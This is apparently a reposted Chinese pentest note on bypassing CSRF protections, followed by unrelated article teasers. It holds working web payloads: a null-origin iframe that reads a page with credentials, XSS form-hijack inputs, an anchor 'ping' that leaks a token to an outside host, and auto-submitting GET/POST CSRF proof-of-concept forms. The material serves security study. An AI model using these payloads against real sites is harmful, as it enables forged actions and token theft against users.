CSRF的绕过与利用

Origin & Referer Bypass

Null值绕过

当遇到一个cors可用null值绕过时,用iframe配合data协议,就可以发送一个origin为null的请求。这个绕过方式同样也可以用在CSRF这里。

1
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>var req=new XMLHttpRequest();req.οnlοad=reqListener;req.open("get","http://127.0.0.1/test.html",true);req.withCredentials=true;req.send();function reqListener(){alert(this.responseText)};</script>'></iframe>

域名校验绕过

当域名校验不是特别严格时,可以通过以下几种方式进行绕过:

  • 在后面加域名 qq.com => qq.com.abc.com
  • 将域名拼接 abc.qq.com => abc_qq.com
  • 在前面或者在后面加字符 qq.com => abcqq.com / qq.com => qq.comabc.com / qq.com => abc.com/qq.com

配合XSS进行利用

当同源网站中存在一个xss漏洞时,就可以直接使用xss包含CSRF的payload进行利用。不仅可以绕过简单的Referer和Origin验证,还可以劫持表单与URL中的token进行利用。

获取表单中的token

当token存在于表单中时,可以配合XSS漏洞进行表单劫持进而让token的限制。

  • xss劫持页面中某个表单的提交

像这个就可以劫持user-edit表单的提交,点击即可提交form表单。

1
<input type="submit" form="user-edit" value="hijack">

这个就相当于劫持了user-edit表单然后进行提交

  • xss劫持页面表单并修改value
1
2
3
<input type="text" form="user-edit" name="notes" value="This is a test">
<input type="text" form="user-edit" name="secert" value="on">
<input type="submit" form="user-edit" value="hijack">

劫持user-edit表单,覆盖各表单的value,进行CSRF利用。

获取url参数中的token

1
2
<a href="https://evil7.cn">get_token</a>
<a href="https://xz.aliyun.com/" ping="https://evil7.cn">ping_leak</a>

参考:魔法才能打败魔法:关于获取csrf-token前端技巧思考

配合URL跳转漏洞

如果是GET形式的CSRF,配合URL跳转漏洞,即可Origin和Referer的限制。

X-Request-with Bypass

使用swf进行绕过:https://github.com/Qclover/CSRF

Token Bypass

  • 删除Token参数字段
  • 将Token参数值置空

CSRF POC 构造

GET - CSRF

1
<img src=http://xxxx.org/csrf.php?xx=11 />

POST - CSRF

可以直接使用Brupsuite生成CSRF POC,也可以自己构造

1
2
3
4
<form action=http://aaaaaa.org/csrf.php method=POST>
<input type="text" name="xx" value="11" />
</form>
<script> document.forms[0].submit(); </script>

参考 & 备份

  • 一次CSRF测试引发的思考

  • 魔法才能打败魔法:关于获取csrf-token前端技巧思考

  • PhpcmsV9从反射型XSS到CSRF绕过到Getshell

本篇转载于https://threezh1.com/2020/02/25/CSRF%E7%BB%95%E8%BF%87%E6%95%B4%E7%90%86/#%E5%9F%9F%E5%90%8D%E6%A0%A1%E9%AA%8C%E7%BB%95%E8%BF%87

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358557.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ASP.NET中禁止继承IIS中web.config根目录的配置

异常信息&#xff1a; Configuration Error Description: An error occurred during the processing of a configuration file required to service this request. Please review the specific error details below and modify your configuration file appropriately. Parser…

教你玩转CSS Position(定位)

目录 CSS Position(定位) static 定位 fixed 定位 relative 定位 absolute 定位 sticky 定位 重叠的元素 所有的CSS定位属性

jOOQ配置

本文是我们学院课程的一部分&#xff0c;标题为jOOQ –类型安全的数据库查询 。 在SQL和特定关系数据库很重要的Java应用程序中&#xff0c;jOOQ是一个不错的选择。 当JPA / Hibernate抽象过多&#xff0c;JDBC过多时&#xff0c;这是一种替代方法。 它显示了一种现代的领域特…

可隐藏选项卡html,隐藏HTML中选定选项卡的底部边框

我有一个水平HTML选项卡&#xff0c;其中我希望隐藏所选选项卡的底部边框。隐藏HTML中选定选项卡的底部边框这个问题已经被问here和here但这两种解决方案都不能正常工作&#xff0c;因为我使用一个div结构&#xff0c;没有太大的JavaScript。jQuery(.tab-links a).on(click, fu…

JWT攻击手册

JSON Web Token&#xff08;JWT&#xff09;对于渗透测试人员而言可能是一种非常吸引人的攻击途径&#xff0c;因为它们不仅是让你获得无限访问权限的关键&#xff0c;而且还被视为隐藏了通往以下特权的途径&#xff1a;特权升级&#xff0c;信息泄露&#xff0c;SQLi&#xff…

DIV+CSS 入门

玩一小会儿前csdn什么时候&#xff0c;页面上的加qq而微博&#xff0c;我认为这是美好的。牛腩完成。运营商也开始了他真正的学习B/S之旅。刚開始的时候&#xff0c;我不知道<div>是什么 也不清楚CSS用来干什么的&#xff0c;敲完了回过头来再看&#xff0c;好像明确了一…

教你玩转CSS Overflow

目录 CSS Overflow overflow: visible CSS 布局 - Overflow CSS overflow 属性用于控制内容溢出元素框时显示的方式。 <style>#overflowTest {background: #4CAF50;color: white;padding: 15px;width: 80%;height: 100px;overflow: scroll;border: 1px solid #ccc;}&l…

了解Callable和Spring DeferredResult

1.简介 Servlet 3.0中引入的异步支持提供了在另一个线程中处理HTTP请求的可能性。 当您有一个长期运行的任务时&#xff0c;这特别有趣&#xff0c;因为当另一个线程处理此请求时&#xff0c;容器线程将被释放并可以继续处理其他请求。 关于这个主题的解释已经很多次了&#x…

html表单复选框样式,美化表单——自定义checkbox和radio样式

如果你对本站比较观注的话&#xff0c;应该很清楚&#xff0c;前面就有这方面的介绍。因为大家都知道表单中的部分元素如果单单使用CSS是没办法完成的&#xff0c;所以最近花全力在学习这方面的制作。在本站有关于这样制作有好几个教程了&#xff0c;比如说&#xff1a;我主要是…

BZOJ 3436: 小K的农场( 差分约束 )

orz云神...真的给跪了...BFS版spfa T 掉了...然后DFS版的就A了...我现在很迷茫....这就是个普通的差分约束... ------------------------------------------------------------------------------#include<cstdio>#include<cstring>#include<algorithm>#incl…

教你玩转CSS Float(浮动)

目录 什么是 CSS Float(浮动)? 元素怎样浮动 彼此相邻的浮动元素 清除浮动 - 使用 clear CSS 中所有的浮动属性 什么是 CSS Float(浮动)? CSS 的 Float(浮动),会使元素向左或向右移动

CORS同源策略

同源策略 什么是同源策略&#xff08;Same Origin Policy&#xff09;&#xff1f;什么是跨域?什么是域名? 什么是同源策略&#xff08;Same Origin Policy&#xff09;&#xff1f; 所谓同源策略&#xff0c;所谓同源是指&#xff0c;域名&#xff0c;协议&#xff0c;端口…

把html文件变成php,怎么把动态的php文件转换成静态的html文件,html文件是php文件…...

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼生成静态文件除了2楼所说的ob缓存方法之外&#xff0c;还有一种方法就是通过使用模板替换技术实现(正则表达式)header("content-type:text/html;charsetutf-8");//处理添加、修改、删除请求//1.接收一下oper$oper$_REQUE…

[转]hadoop新手错误解决方法

解决Exception: org.apache.hadoop.io.nativeio.NativeIO$Windows.access0(Ljava/lang/String;I)Z 等一系列问题&#xff0c;ljavalangstring 一&#xff0e;简介 Windows下的 Eclipse上调试Hadoop2代码&#xff0c;所以我们在windows下的Eclipse配置hadoop-eclipse-plugin-2.6…

教你玩转CSS 居中

目录 元素居中对齐 文本居中对齐 图片居中对齐 左右对齐 - 使用定位方式 左右对齐 - 使用 float 方式 垂直居中对齐 - 使用 padding

JSFinder—从js文件中寻找敏感接口和子域名

说在前面 在渗透测试及漏洞挖掘过程中&#xff0c;信息搜集是一个非常重要的步骤。而在网站的JS文件中&#xff0c;会存在各种对测试有帮助的内容。 比如&#xff1a;敏感接口&#xff0c;子域名等。 社区内的文章也有有些关于JS文件提取信息的片段&#xff0c;比如Brupsuit…

spring 测试 事务_Spring陷阱:事务测试被认为是有害的

spring 测试 事务Spring杀手级功能之一是容器内集成测试 。 尽管EJB多年来一直缺乏此功能&#xff08;Java EE 6终于解决了这个问题&#xff0c;但是我尚未进行测试&#xff09;&#xff0c;但是Spring从一开始就允许您从Web层开始&#xff0c;通过所有服务来测试整个堆栈。到数…

HTML页面加载和解析流程详细介绍

浏览器加载和渲染html的顺序1. IE下载的顺序是从上到下&#xff0c;渲染的顺序也是从上到下&#xff0c;下载和渲染是同时进行的。 2. 在渲染到页面的某一部分时&#xff0c;其上面的所有部分都已经下载完成&#xff08;并不是说所有相关联的元素都已经下载完&#xff09;。 3.…

计算机四级必背知识点,2019年6月计算机四级数据库工程师必备考点

【导语】2019年6月计算机四级考试备考正在进行中&#xff0c;为了方便考生及时有效的备考&#xff0c;那么&#xff0c;无忧考网为您精心整理了2019年6月计算机四级数据库工程师必备考点&#xff0c;希望对您备考有帮助。如想获取更多计算机等级考试的模拟题及备考资料&#xf…

教你玩转CSS 组合选择符

目录 后代选择器 子元素选择器 相邻兄弟选择器 后续兄弟选择器 CSS组合选择符包括各种简单选择符的组合方式。 在 CSS3 中包含了四种组合方式: 后代选择器(以空格分隔)子元素选择器(以大于号分隔)相邻兄弟选择器(以加号分隔)普通兄弟选择器(以破折号分隔)后代选择器 …